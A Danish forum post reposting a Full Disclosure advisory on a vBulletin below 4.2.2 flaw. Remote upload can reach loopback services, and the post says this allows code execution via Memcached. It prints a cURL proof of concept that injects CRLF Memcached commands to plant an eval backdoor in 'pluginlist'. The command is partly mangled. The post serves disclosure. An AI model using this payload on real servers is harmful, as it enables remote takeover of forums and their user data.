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vBulletin < 4.2.2 rce "0day" (source: fd)
18-08-2015, 20:38
vBulletin < 4.2.2 rce "0day" (source: fd)

Denne er ikke ny, men jeg kendte personlig ikke til den før jeg læste den på FullDisclosure:

Status: Fixed in some versions.

Citer:Remote Upload allows to send arbitrary data to loopback-only services, possibly allowing the execution of arbitrary code Exists in vB4. The remote upload as implemented by the vB_Upload_* classes and vB_vURL (at least in vB 4.2.x, most probably earlier releases are also affected, and vB 5 might be affected as well) does not restrict the destination ports and hosts for remote uploads. This allows an attacker to abuse the function to as a proxy commit TCP port scans on other hosts. Much worse, it also allows to connect to local loopback-only services or to services only exposed on an internal network.

On a setup running e.g. Memcached in default configuration (bound to localhost:11211, no authentication), the latter can be exploited to execute arbitrary code by forging a request to memcached, updating the `pluginlist` value.

Proof-of-Concept using cURL:
$ curl '; -H 'Cookie: bb_userid=2;
bb_password=926944640049f505370a38250f22ae57' --data  'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png&apos;

This leads to vBulletin opening a connection to the Memcached (localhost:11211) and sending the following data:
set pluginlist 0 0 96
.png HTTP/1.0
Host: localhost
User-Agent: vBulletin via PHP
Connection: close

This will cause the Memcached to update the `pluginlist` to contain the malicious code.

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